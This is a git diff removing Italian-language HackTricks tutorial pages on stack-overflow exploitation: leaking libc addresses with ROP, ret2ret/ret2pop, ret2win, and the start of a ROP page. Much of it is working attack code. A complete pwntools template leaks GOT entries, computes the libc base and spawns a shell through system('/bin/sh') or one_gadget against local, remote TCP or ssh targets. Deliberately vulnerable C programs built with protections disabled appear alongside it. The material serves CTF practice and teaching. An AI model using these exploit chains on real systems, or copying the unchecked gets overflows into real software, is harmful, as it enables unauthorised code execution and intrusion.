-- 64 bit, ASLR abilitato, senza canary, overflow dello stack in main da una funzione figlia. Gadget ROP per chiamare puts per leakare l'indirizzo di puts dal GOT e poi chiamare un gadget.
-- [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html)
-- 64 bit, senza pie, senza canary, senza relro, nx. Usa la funzione write per leakare l'indirizzo di write (libc) e chiama un gadget.
-
-{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md
deleted file mode 100644
index cdd11ad50..000000000
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md
+++ /dev/null
@@ -1,273 +0,0 @@
-# Leaking libc address with ROP
-
-{{#include ../../../../../banners/hacktricks-training.md}}
-
-## Quick Resume
-
-1. **Trova** l'**offset** di overflow
-2. **Trova** il gadget `POP_RDI`, `PUTS_PLT` e `MAIN`
-3. Usa i gadget precedenti per **leakare l'indirizzo di memoria** di puts o un'altra funzione libc e **trovare la versione di libc** ([donwload it](https://libc.blukat.me))
-4. Con la libreria, **calcola il ROP e sfruttalo**
-
-## Other tutorials and binaries to practice
-
-This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
-Another useful tutorials: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
-
-## Code
-
-Filename: `vuln.c`
-```c
-#include 
-
-int main() {
-char buffer[32];
-puts("Simple ROP.\n");
-gets(buffer);
-
-return 0;
-}
-```
-
-```bash
-gcc -o vuln vuln.c -fno-stack-protector -no-pie
-```
-## ROP - Leaking LIBC template
-
-Utilizzerò il codice situato qui per realizzare l'exploit.\
-Scarica l'exploit e posizionalo nella stessa directory del binario vulnerabile e fornisci i dati necessari allo script:
-
-{{#ref}}
-rop-leaking-libc-template.md
-{{#endref}}
-
-## 1- Trovare l'offset
-
-Il template ha bisogno di un offset prima di continuare con l'exploit. Se ne viene fornito uno, eseguirà il codice necessario per trovarlo (per impostazione predefinita `OFFSET = ""`):
-```bash
-###################
-### Find offset ###
-###################
-OFFSET = ""#"A"*72
-if OFFSET == "":
-gdb.attach(p.pid, "c") #Attach and continue
-payload = cyclic(1000)
-print(r.clean())
-r.sendline(payload)
-#x/wx $rsp -- Search for bytes that crashed the application
-#cyclic_find(0x6161616b) # Find the offset of those bytes
-return
-```
-**Esegui** `python template.py` si aprirà una console GDB con il programma che si è bloccato. All'interno di quella **console GDB** esegui `x/wx $rsp` per ottenere i **byte** che stavano per sovrascrivere il RIP. Infine, ottieni il **offset** utilizzando una console **python**:
-```python
-from pwn import *
-cyclic_find(0x6161616b)
-```
-![](<../../../../../images/image (140).png>)
-
-Dopo aver trovato l'offset (in questo caso 40), cambia la variabile OFFSET all'interno del template utilizzando quel valore.\
-`OFFSET = "A" * 40`
-
-Un altro modo sarebbe usare: `pattern create 1000` -- _esegui fino a ret_ -- `pattern seach $rsp` da GEF.
-
-## 2- Trovare Gadget
-
-Ora dobbiamo trovare gadget ROP all'interno del binario. Questi gadget ROP saranno utili per chiamare `puts` per trovare la **libc** in uso, e successivamente per **lanciare l'exploit finale**.
-```python
-PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
-MAIN_PLT = elf.symbols['main']
-POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
-RET = (rop.find_gadget(['ret']))[0]
-
-log.info("Main start: " + hex(MAIN_PLT))
-log.info("Puts plt: " + hex(PUTS_PLT))
-log.info("pop rdi; ret  gadget: " + hex(POP_RDI))
-```
-Il `PUTS_PLT` è necessario per chiamare la **funzione puts**.\
-Il `MAIN_PLT` è necessario per richiamare di nuovo la **funzione main** dopo un'interazione per **sfruttare** nuovamente il overflow **(giri infiniti di sfruttamento)**. **Viene utilizzato alla fine di ogni ROP per richiamare di nuovo il programma**.\
-Il **POP_RDI** è necessario per **passare** un **parametro** alla funzione chiamata.
-
-In questo passaggio non è necessario eseguire nulla poiché tutto sarà trovato da pwntools durante l'esecuzione.
-
-## 3- Trovare la libreria libc
-
-Ora è il momento di scoprire quale versione della libreria **libc** viene utilizzata. Per farlo, andremo a **leak** l'**indirizzo** in memoria della **funzione** `puts` e poi andremo a **cercare** in quale **versione della libreria** si trova la versione di puts in quell'indirizzo.
-```python
-def get_addr(func_name):
-FUNC_GOT = elf.got[func_name]
-log.info(func_name + " GOT @ " + hex(FUNC_GOT))
-# Create rop chain
-rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
-
-#Send our rop-chain payload
-#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
-print(p.clean()) # clean socket buffer (read all and print)
-p.sendline(rop1)
-
-#Parse leaked address
-recieved = p.recvline().strip()
-leak = u64(recieved.ljust(8, "\x00"))
-log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
-#If not libc yet, stop here
-if libc != "":
-libc.address = leak - libc.symbols[func_name] #Save libc base
-log.info("libc base @ %s" % hex(libc.address))
-
-return hex(leak)
-
-get_addr("puts") #Search for puts address in memmory to obtains libc base
-if libc == "":
-print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
-p.interactive()
-```
-Per fare ciò, la linea più importante del codice eseguito è:
-```python
-rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
-```
-Questo invierà alcuni byte fino a quando **sovrascrivere** il **RIP** sarà possibile: `OFFSET`.\
-Poi, imposterà l'**indirizzo** del gadget `POP_RDI` in modo che il prossimo indirizzo (`FUNC_GOT`) sarà salvato nel registro **RDI**. Questo perché vogliamo **chiamare puts** **passandogli** l'**indirizzo** di `PUTS_GOT` poiché l'indirizzo in memoria della funzione puts è salvato nell'indirizzo puntato da `PUTS_GOT`.\
-Dopo di che, verrà chiamato `PUTS_PLT` (con `PUTS_GOT` all'interno del **RDI**) in modo che puts **legga il contenuto** all'interno di `PUTS_GOT` (**l'indirizzo della funzione puts in memoria**) e **lo stampi**.\
-Infine, **la funzione main viene chiamata di nuovo** così possiamo sfruttare di nuovo l'overflow.
-
-In questo modo abbiamo **ingannato la funzione puts** per **stampare** l'**indirizzo** in **memoria** della funzione **puts** (che si trova all'interno della libreria **libc**). Ora che abbiamo quell'indirizzo possiamo **cercare quale versione di libc viene utilizzata**.
-
-![](<../../../../../images/image (141).png>)
-
-Poiché stiamo **sfruttando** un **binario** locale, **non è necessario** capire quale versione di **libc** viene utilizzata (basta trovare la libreria in `/lib/x86_64-linux-gnu/libc.so.6`).\
-Ma, in un caso di exploit remoto, spiegherò qui come puoi trovarlo:
-
-### 3.1- Ricerca della versione di libc (1)
-
-Puoi cercare quale libreria viene utilizzata nella pagina web: [https://libc.blukat.me/](https://libc.blukat.me)\
-Ti permetterà anche di scaricare la versione di **libc** scoperta.
-
-![](<../../../../../images/image (142).png>)
-
-### 3.2- Ricerca della versione di libc (2)
-
-Puoi anche fare:
-
-- `$ git clone https://github.com/niklasb/libc-database.git`
-- `$ cd libc-database`
-- `$ ./get`
-
-Questo richiederà del tempo, sii paziente.\
-Per farlo funzionare abbiamo bisogno di:
-
-- Nome del simbolo libc: `puts`
-- Indirizzo libc leakato: `0x7ff629878690`
-
-Possiamo capire quale **libc** è molto probabilmente utilizzata.
-```bash
-./find puts 0x7ff629878690
-ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
-archive-glibc (id libc6_2.23-0ubuntu11_amd64)
-```
-Otteniamo 2 corrispondenze (dovresti provare la seconda se la prima non funziona). Scarica la prima:
-```bash
-./download libc6_2.23-0ubuntu10_amd64
-Getting libc6_2.23-0ubuntu10_amd64
--> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
--> Downloading package
--> Extracting package
--> Package saved to libs/libc6_2.23-0ubuntu10_amd64
-```
-Copia la libc da `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` nella nostra directory di lavoro.
-
-### 3.3- Altre funzioni da leak
-```python
-puts
-printf
-__libc_start_main
-read
-gets
-```
-## 4- Trovare l'indirizzo libc basato su & sfruttamento
-
-A questo punto dovremmo conoscere la libreria libc utilizzata. Poiché stiamo sfruttando un binario locale, userò solo: `/lib/x86_64-linux-gnu/libc.so.6`
-
-Quindi, all'inizio di `template.py`, cambia la variabile **libc** in: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Imposta il percorso della libreria quando lo conosci`
-
-Fornendo il **percorso** alla **libreria libc**, il resto dell'**exploit verrà calcolato automaticamente**.
-
-All'interno della funzione `get_addr`, verrà calcolato il **base address di libc**:
-```python
-if libc != "":
-libc.address = leak - libc.symbols[func_name] #Save libc base
-log.info("libc base @ %s" % hex(libc.address))
-```
-> [!NOTE]
-> Nota che **l'indirizzo base finale di libc deve terminare in 00**. Se non è il tuo caso, potresti aver rivelato una libreria errata.
-
-Quindi, l'indirizzo della funzione `system` e l'**indirizzo** della stringa _"/bin/sh"_ verranno **calcolati** dall'**indirizzo base** di **libc** e forniti dalla **libreria libc.**
-```python
-BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
-SYSTEM = libc.sym["system"]
-EXIT = libc.sym["exit"]
-
-log.info("bin/sh %s " % hex(BINSH))
-log.info("system %s " % hex(SYSTEM))
-```
-Infine, l'exploit per l'esecuzione di /bin/sh verrà preparato e inviato:
-```python
-rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
-
-p.clean()
-p.sendline(rop2)
-
-#### Interact with the shell #####
-p.interactive() #Interact with the conenction
-```
-Spieghiamo questo ROP finale.\
-L'ultimo ROP (`rop1`) ha chiamato di nuovo la funzione main, quindi possiamo **sfruttare di nuovo** l'**overflow** (ecco perché l'`OFFSET` è qui di nuovo). Poi, vogliamo chiamare `POP_RDI` puntando all'**indirizzo** di _"/bin/sh"_ (`BINSH`) e chiamare la funzione **system** (`SYSTEM`) perché l'indirizzo di _"/bin/sh"_ sarà passato come parametro.\
-Infine, l'**indirizzo della funzione exit** è **chiamato** in modo che il processo **esca in modo ordinato** e non venga generato alcun avviso.
-
-**In questo modo l'exploit eseguirà una _/bin/sh**_ shell.**
-
-![](<../../../../../images/image (143).png>)
-
-## 4(2)- Utilizzando ONE_GADGET
-
-Potresti anche usare [**ONE_GADGET** ](https://github.com/david942j/one_gadget) per ottenere una shell invece di usare **system** e **"/bin/sh". ONE_GADGET** troverà all'interno della libreria libc qualche modo per ottenere una shell usando solo un **indirizzo ROP**.\
-Tuttavia, normalmente ci sono alcune restrizioni, le più comuni e facili da evitare sono come `[rsp+0x30] == NULL`. Poiché controlli i valori all'interno del **RSP**, devi solo inviare alcuni valori NULL in più in modo che la restrizione venga evitata.
-
-![](<../../../../../images/image (615).png>)
-```python
-ONE_GADGET = libc.address + 0x4526a
-rop2 = base + p64(ONE_GADGET) + "\x00"*100
-```
-## FILE DI ESPLOITAZIONE
-
-Puoi trovare un modello per sfruttare questa vulnerabilità qui:
-
-{{#ref}}
-rop-leaking-libc-template.md
-{{#endref}}
-
-## Problemi comuni
-
-### MAIN_PLT = elf.symbols\['main'] non trovato
-
-Se il simbolo "main" non esiste. Allora puoi trovare dove si trova il codice principale:
-```python
-objdump -d vuln_binary | grep "\.text"
-Disassembly of section .text:
-0000000000401080 <.text>:
-```
-e imposta l'indirizzo manualmente:
-```python
-MAIN_PLT = 0x401080
-```
-### Puts non trovato
-
-Se il binario non utilizza Puts, dovresti controllare se sta usando
-
-### `sh: 1: %s%s%s%s%s%s%s%s: non trovato`
-
-Se trovi questo **errore** dopo aver creato **tutti** gli exploit: `sh: 1: %s%s%s%s%s%s%s%s: non trovato`
-
-Prova a **sottrarre 64 byte all'indirizzo di "/bin/sh"**:
-```python
-BINSH = next(libc.search("/bin/sh")) - 64
-```
-{{#include ../../../../../banners/hacktricks-training.md}}
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md
deleted file mode 100644
index 21e6aef94..000000000
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md
+++ /dev/null
@@ -1,211 +0,0 @@
-{{#include ../../../../../banners/hacktricks-training.md}}
-```python:template.py
-from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64  # Import pwntools
-
-
-###################
-### CONNECTION ####
-###################
-LOCAL = False
-REMOTETTCP = True
-REMOTESSH = False
-GDB = False
-USE_ONE_GADGET = False
-
-LOCAL_BIN = "./vuln"
-REMOTE_BIN = "~/vuln" #For ssh
-LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it
-ENV = {"LD_PRELOAD": LIBC} if LIBC else {}
-
-if LOCAL:
-P = process(LOCAL_BIN, env=ENV) # start the vuln binary
-ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
-ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
-
-elif REMOTETTCP:
-P = remote('10.10.10.10',1339) # start the vuln binary
-ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
-ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
-
-elif REMOTESSH:
-ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
-p = ssh_shell.process(REMOTE_BIN) # start the vuln binary
-elf = ELF(LOCAL_BIN)# Extract data from binary
-rop = ROP(elf)# Find ROP gadgets
-
-if GDB and not REMOTETTCP and not REMOTESSH:
-# attach gdb and continue
-# You can set breakpoints, for example "break *main"
-gdb.attach(P.pid, "b *main")
-
-
-
-#########################
-#### OFFSET FINDER ######
-#########################
-
-OFFSET = b"" #b"A"*264
-if OFFSET == b"":
-gdb.attach(P.pid, "c") #Attach and continue
-payload = cyclic(264)
-payload += b"AAAAAAAA"
-print(P.clean())
-P.sendline(payload)
-#x/wx $rsp -- Search for bytes that crashed the application
-#print(cyclic_find(0x63616171)) # Find the offset of those bytes
-P.interactive()
-exit()
-
-
-
-####################
-### Find Gadgets ###
-####################
-try:
-libc_func = "puts"
-PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts
-except:
-libc_func = "printf"
-PUTS_PLT = ELF_LOADED.plt['printf']
-
-MAIN_PLT = ELF_LOADED.symbols['main']
-POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
-RET = (ROP_LOADED.find_gadget(['ret']))[0]
-
-log.info("Main start: " + hex(MAIN_PLT))
-log.info("Puts plt: " + hex(PUTS_PLT))
-log.info("pop rdi; ret  gadget: " + hex(POP_RDI))
-log.info("ret gadget: " + hex(RET))
-
-
-########################
-### Find LIBC offset ###
-########################
-
-def generate_payload_aligned(rop):
-payload1 = OFFSET + rop
-if (len(payload1) % 16) == 0:
-return payload1
-
-else:
-payload2 = OFFSET + p64(RET) + rop
-if (len(payload2) % 16) == 0:
-log.info("Payload aligned successfully")
-return payload2
-else:
-log.warning(f"I couldn't align the payload! Len: {len(payload1)}")
-return payload1
-
-
-def get_addr(libc_func):
-FUNC_GOT = ELF_LOADED.got[libc_func]
-log.info(libc_func + " GOT @ " + hex(FUNC_GOT))
-# Create rop chain
-rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
-rop1 = generate_payload_aligned(rop1)
-
-# Send our rop-chain payload
-#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received
-print(P.clean()) # clean socket buffer (read all and print)
-P.sendline(rop1)
-
-# If binary is echoing back the payload, remove that message
-recieved = P.recvline().strip()
-if OFFSET[:30] in recieved:
-recieved = P.recvline().strip()
-
-# Parse leaked address
-log.info(f"Len rop1: {len(rop1)}")
-leak = u64(recieved.ljust(8, b"\x00"))
-log.info(f"Leaked LIBC address,  {libc_func}: {hex(leak)}")
-
-# Set lib base address
-if LIBC:
-LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base
-print("If LIBC base doesn't end end 00, you might be using an icorrect libc library")
-log.info("LIBC base @ %s" % hex(LIBC.address))
-
-# If not LIBC yet, stop here
-else:
-print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)")
-P.interactive()
-
-return hex(leak)
-
-get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base
-
-
-
-#############################
-#### FINAL EXPLOITATION #####
-#############################
-
-## Via One_gadget (https://github.com/david942j/one_gadget)
-# gem install one_gadget
-def get_one_gadgets(libc):
-import string, subprocess
-args = ["one_gadget", "-r"]
-if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()):
-args += ["-b", libc.hex()]
-else:
-args += [libc]
-try:
-one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()]
-except:
-print("One_gadget isn't installed")
-one_gadgets = []
-return
-
-rop2 = b""
-if USE_ONE_GADGET:
-one_gadgets = get_one_gadgets(LIBC)
-if one_gadgets:
-rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains
-
-## Normal/Long exploitation
-if not rop2:
-BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh
-SYSTEM = LIBC.sym["system"]
-EXIT = LIBC.sym["exit"]
-
-log.info("POP_RDI %s " % hex(POP_RDI))
-log.info("bin/sh %s " % hex(BINSH))
-log.info("system %s " % hex(SYSTEM))
-log.info("exit %s " % hex(EXIT))
-
-rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT)
-rop2 = generate_payload_aligned(rop2)
-
-
-print(P.clean())
-P.sendline(rop2)
-
-P.interactive() #Interact with your shell :)
-```
-# Problemi comuni
-
-## MAIN_PLT = elf.symbols\['main'] non trovato
-
-Se il simbolo "main" non esiste (probabilmente perché è un binario strippato). Allora puoi semplicemente dove si trova il codice principale:
-```python
-objdump -d vuln_binary | grep "\.text"
-Disassembly of section .text:
-0000000000401080 <.text>:
-```
-e imposta l'indirizzo manualmente:
-```python
-MAIN_PLT = 0x401080
-```
-## Puts non trovato
-
-Se il binario non utilizza Puts, dovresti controllare se sta usando
-
-## `sh: 1: %s%s%s%s%s%s%s%s: non trovato`
-
-Se trovi questo **errore** dopo aver creato **tutti** gli exploit: `sh: 1: %s%s%s%s%s%s%s%s: non trovato`
-
-Prova a **sottrarre 64 byte all'indirizzo di "/bin/sh"**:
-```python
-BINSH = next(libc.search("/bin/sh")) - 64
-```
-{{#include ../../../../../banners/hacktricks-training.md}}
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md
deleted file mode 100644
index 9910bb20f..000000000
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md
+++ /dev/null
@@ -1,33 +0,0 @@
-# Ret2ret & Reo2pop
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Ret2ret
-
-L'obiettivo principale di questa tecnica è cercare di **bypassare ASLR abusando di un puntatore esistente nello stack**.
-
-Fondamentalmente, gli overflow dello stack sono solitamente causati da stringhe, e **le stringhe terminano con un byte nullo alla fine** in memoria. Questo consente di cercare di ridurre il luogo puntato da un puntatore già esistente nello stack. Quindi, se lo stack conteneva `0xbfffffdd`, questo overflow potrebbe trasformarlo in `0xbfffff00` (nota l'ultimo byte azzerato).
-
-Se quell'indirizzo punta al nostro shellcode nello stack, è possibile far raggiungere quel indirizzo al flusso **aggiungendo indirizzi all'istruzione `ret`** finché non viene raggiunto.
-
-Pertanto, l'attacco sarebbe così:
-
-- NOP sled
-- Shellcode
-- Sovrascrivere lo stack dall'EIP con **indirizzi a `ret`** (RET sled)
-- 0x00 aggiunto dalla stringa che modifica un indirizzo dallo stack facendolo puntare al NOP sled
-
-Seguendo [**questo link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) puoi vedere un esempio di un binario vulnerabile e [**in questo**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) l'exploit.
-
-## Ret2pop
-
-Nel caso tu possa trovare un **puntatore perfetto nello stack che non vuoi modificare** (in `ret2ret` cambiamo l'ultimo byte più basso in `0x00`), puoi eseguire lo stesso attacco `ret2ret`, ma la **lunghezza del RET sled deve essere accorciata di 1** (quindi il finale `0x00` sovrascrive i dati appena prima del puntatore perfetto), e il **ultimo** indirizzo del RET sled deve puntare a **`pop ; ret`**.\
-In questo modo, i **dati prima del puntatore perfetto verranno rimossi** dallo stack (questi sono i dati influenzati dal `0x00`) e il **finale `ret` punterà all'indirizzo perfetto** nello stack senza alcuna modifica.
-
-Seguendo [**questo link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) puoi vedere un esempio di un binario vulnerabile e [**in questo** ](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) l'exploit.
-
-## References
-
-- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md
deleted file mode 100644
index 6a961214d..000000000
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md
+++ /dev/null
@@ -1,91 +0,0 @@
-# Ret2win
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Informazioni di Base
-
-Le sfide **Ret2win** sono una categoria popolare nelle competizioni **Capture The Flag (CTF)**, in particolare in compiti che coinvolgono **binary exploitation**. L'obiettivo è sfruttare una vulnerabilità in un dato binario per eseguire una funzione specifica, non invocata, all'interno del binario, spesso chiamata qualcosa come `win`, `flag`, ecc. Questa funzione, quando eseguita, di solito stampa un flag o un messaggio di successo. La sfida comporta tipicamente la sovrascrittura dell'**indirizzo di ritorno** nello stack per deviare il flusso di esecuzione verso la funzione desiderata. Ecco una spiegazione più dettagliata con esempi:
-
-### Esempio C
-
-Considera un semplice programma C con una vulnerabilità e una funzione `win` che intendiamo chiamare:
-```c
-#include 
-#include 
-
-void win() {
-printf("Congratulations! You've called the win function.\n");
-}
-
-void vulnerable_function() {
-char buf[64];
-gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
-}
-
-int main() {
-vulnerable_function();
-return 0;
-}
-```
-Per compilare questo programma senza protezioni dello stack e con **ASLR** disabilitato, puoi utilizzare il seguente comando:
-```sh
-gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-```
-- `-m32`: Compila il programma come un binario a 32 bit (questo è facoltativo ma comune nelle sfide CTF).
-- `-fno-stack-protector`: Disabilita le protezioni contro gli overflow dello stack.
-- `-z execstack`: Consenti l'esecuzione di codice nello stack.
-- `-no-pie`: Disabilita l'eseguibile indipendente dalla posizione per garantire che l'indirizzo della funzione `win` non cambi.
-- `-o vulnerable`: Nomina il file di output `vulnerable`.
-
-### Python Exploit usando Pwntools
-
-Per l'exploit, utilizzeremo **pwntools**, un potente framework CTF per scrivere exploit. Lo script di exploit creerà un payload per sovrascrivere il buffer e sovrascrivere l'indirizzo di ritorno con l'indirizzo della funzione `win`.
-```python
-from pwn import *
-
-# Set up the process and context for the binary
-binary_path = './vulnerable'
-p = process(binary_path)
-context.binary = binary_path
-
-# Find the address of the win function
-win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary
-
-# Create the payload
-# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
-payload = b'A' * 68 + win_addr
-
-# Send the payload
-p.sendline(payload)
-p.interactive()
-```
-Per trovare l'indirizzo della funzione `win`, puoi utilizzare **gdb**, **objdump** o qualsiasi altro strumento che ti consenta di ispezionare file binari. Ad esempio, con `objdump`, potresti usare:
-```sh
-objdump -d vulnerable | grep win
-```
-Questo comando ti mostrerà l'assembly della funzione `win`, incluso il suo indirizzo di partenza.
-
-Lo script Python invia un messaggio accuratamente progettato che, quando elaborato dalla `vulnerable_function`, fa traboccare il buffer e sovrascrive l'indirizzo di ritorno nello stack con l'indirizzo di `win`. Quando `vulnerable_function` restituisce, invece di tornare a `main` o uscire, salta a `win`, e il messaggio viene stampato.
-
-## Protezioni
-
-- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **dovrebbe essere disabilitato** affinché l'indirizzo sia affidabile tra le esecuzioni o l'indirizzo in cui la funzione sarà memorizzata non sarà sempre lo stesso e avresti bisogno di qualche leak per capire dove è caricata la funzione win. In alcuni casi, quando la funzione che causa il trabocco è `read` o simile, puoi fare un **Partial Overwrite** di 1 o 2 byte per cambiare l'indirizzo di ritorno in modo che sia la funzione win. A causa di come funziona ASLR, le ultime tre nibble esadecimali non sono randomizzate, quindi c'è una **1/16 possibilità** (1 nibble) di ottenere l'indirizzo di ritorno corretto.
-- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) dovrebbero essere anch'esse disabilitate o l'indirizzo di ritorno EIP compromesso non sarà mai seguito.
-
-## Altri esempi & Riferimenti
-
-- [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
-- [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html)
-- 32bit, no ASLR
-- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html)
-- 64 bit con ASLR, con un leak dell'indirizzo bin
-- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
-- 64 bit, no ASLR
-- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
-- 32 bit, no ASLR, doppio piccolo overflow, primo per traboccare lo stack e ingrandire la dimensione del secondo overflow
-- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
-- 32 bit, relro, no canary, nx, no pie, stringa di formato per sovrascrivere l'indirizzo `fflush` con la funzione win (ret2win)
-- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
-- 64 bit, relro, no canary, nx, pie. Partial overwrite per chiamare la funzione win (ret2win)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md
deleted file mode 100644
index 76e998754..000000000
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md
+++ /dev/null
@@ -1,176 +0,0 @@
-# ROP - Return Oriented Programing
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## **Informazioni di Base**
-
-**Return-Oriented Programming (ROP)** è una tecnica di sfruttamento avanzata utilizzata per eludere misure di sicurezza come **No-Execute (NX)** o **Data Execution Prevention (DEP)**. Invece di iniettare ed eseguire shellcode, un attaccante sfrutta pezzi di codice già presenti nel binario o nelle librerie caricate, noti come **"gadgets"**. Ogni gadget termina tipicamente con un'istruzione `ret` e esegue una piccola operazione, come spostare dati tra registri o eseguire operazioni aritmetiche. Collegando insieme questi gadget, un attaccante può costruire un payload per eseguire operazioni arbitrarie, eludendo efficacemente le protezioni NX/DEP.
-
-### Come Funziona ROP
-
-1. **Dirottamento del Flusso di Controllo**: Prima, un attaccante deve dirottare il flusso di controllo di un programma, tipicamente sfruttando un buffer overflow per sovrascrivere un indirizzo di ritorno salvato nello stack.
-2. **Collegamento dei Gadget**: L'attaccante seleziona e collega con attenzione i gadget per eseguire le azioni desiderate. Questo potrebbe comportare la preparazione degli argomenti per una chiamata di funzione, chiamare la funzione (ad esempio, `system("/bin/sh")`), e gestire eventuali operazioni di pulizia o aggiuntive necessarie.
-3. **Esecuzione del Payload**: Quando la funzione vulnerabile restituisce, invece di tornare a una posizione legittima, inizia a eseguire la catena di gadget.
-
